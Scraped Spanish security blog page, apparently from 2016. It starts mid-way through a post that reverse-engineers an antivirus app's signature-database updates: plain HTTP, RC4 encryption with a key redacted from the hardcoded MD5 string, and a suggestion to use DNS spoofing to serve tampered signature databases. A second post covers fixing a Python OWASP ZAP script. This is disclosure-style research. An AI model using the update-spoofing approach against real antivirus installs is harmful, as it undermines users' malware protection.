  Parecía que las bases de datos de firmas, dominios maliciosos, etc. las estaba actualizando a través de HTTP. El programa realiza diferentes peticiones a los servidores donde se alojan las bases de datos, y el servidor le responde con diferentes archivos que contienen la versión más reciente, así como el MD5 y el tamaño. Viendo cómo es el mecanismo que sigue para descargar nuevas bases de datos, parecía bastante simple el hacer DNS spoofing y usurpar la identidad del servidor para servirle bases de datos manipuladas por nosotros (quizás para añadir o eliminar algún firma, por ejemplo).

  El problema viene cuando al analizar las bases de datos nos encontramos que se trata de un fichero cifrado, y que por tanto no vamos a poder manipular sin corromperlo. Así que nos toca tirar del combo dex2jar + jd-gui para leer el código y localizar las rutinas encargadas del cifrado. Por suerte el código no se encuentra ofuscado y su lectura se hace bastante sencilla. Analizándolo un poco vemos que lo que hace es descifrar la DB utilizando un algoritmo RC4 y después lo descomprime con GZIP:




   Bien, ya sólo nos quedaría localizar la clave con la que descifra/cifra la base de datos:


(Editado)

   Yep, el MD5 de la cadena hardcodeada "EDITADO". Teniendo ya la clave, es trivial proceder a descifrar las bases de datos. @LuisGF hizo este pequeño script para descifrar las DBs (hacer la inversa es sencillo :P). Teniendo ya una herramienta para cifrar/descifrar las bases de datos, y conocimiento de cual es el "protocolo" que sigue para descargarse las nuevas DBs, el resto es coser y cantar.

 Por otro lado, observé que el método que sigue en la aplicación de escritorio para Windows sigue el mismo procedimiento, asi que también me puse a reversear para ver si estaba usando la misma clave:

(EDITADO)

Yep, misma clave hardcodeada. Supongo que será común en el resto de productos, no lo he comprobado.

Podeis aprovechar esta información para extraer las firmas que ya vienen, o para tunear con las vuestras propias :P



Byt3z!







5 0verl0ad Labs: 2016 ¡Saludos! Edit: se han eliminado las referencias donde aparecía la cadena por esto =>  https://code.google.com/p/google-security-resea...

lunes, 11 de enero de 2016

pyZap → 2º asalto

Hace unos meses escribí una entrada sobre como realizar scripts en python (2.7.x) para aprovechar las bondades de OWASP ZAP, pero debido a cambios internos y en su API el script dejo de funcionar.

He solucionado lo que fallaba y he arreglado un par de cosas para que vuelva a funcionar. El principal motivo del fallo recae en la versión a utilizar de ZAP y que ahora necesita obligatoriamente que se le suministre la apiKey.

El script lo podéis descargar de:
https://github.com/0verl0ad/pyJuanker/blob/master/scripts/pyZap.py
Para que funcione tenis que utilizar la versión de ZAP Weekly que se genera semanalmente, en mi caso he utilizado la fechada el 2015-12-29. Utilizando la versión estable 2.4.3 he tenido problemas.
En cuanto a la versión de la api de python es necesario descargarla y compilarla a mano. La podéis descargar de aquí (en mi caso la última actualización correspondía al 2015-12-10). Para instalarla basta con seguir las instrucciones de la wiki de ZAP.

En cuanto a la configuración de ZAP que hay que ajustar, basta con ir al menú de opciones y en la sección de la API dejarla como sigue, con las mismas opciones habilitadas:

 
De la ventana anterior copiaremos el valor de API Key pues será necesario pasárselo al script de python:

Con el valor copiado, ejecutaremos el script como en la entrada previa salvo que esta vez mediante el parámetros -a suministraremos el API Key que nos proporciona ZAP:



Con esto debería volver a funcionar sin problemas.

En cuanto a los cambios internos del script, principalmente están centrados en suministrar a las distintas funciones de ZAP la API Key para que funcionen correctamente. Todo esto, si hubiera estado documentado me hubiera ahorrado una cantidad importante de tiempo, pero...



Un saludo,

nos leemos "en breve" ;)


5 0verl0ad Labs: 2016 Hace unos meses escribí una entrada sobre como realizar scripts en python (2.7.x) para aprovechar las bondades de OWASP ZAP , pero debido a ...
< >